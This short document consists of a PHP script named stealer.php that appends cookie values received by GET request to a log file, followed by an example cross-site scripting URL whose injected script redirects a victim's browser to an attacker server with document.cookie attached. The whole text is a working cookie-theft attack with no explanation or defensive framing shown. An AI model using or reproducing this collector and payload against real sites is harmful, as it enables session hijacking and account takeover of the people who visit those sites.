stealer.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
http://www.example.com/hoge.php?huga= <script>window.location='http://<サーバ名>/stealer.php?cookie='%2bdocument.cookie;</script>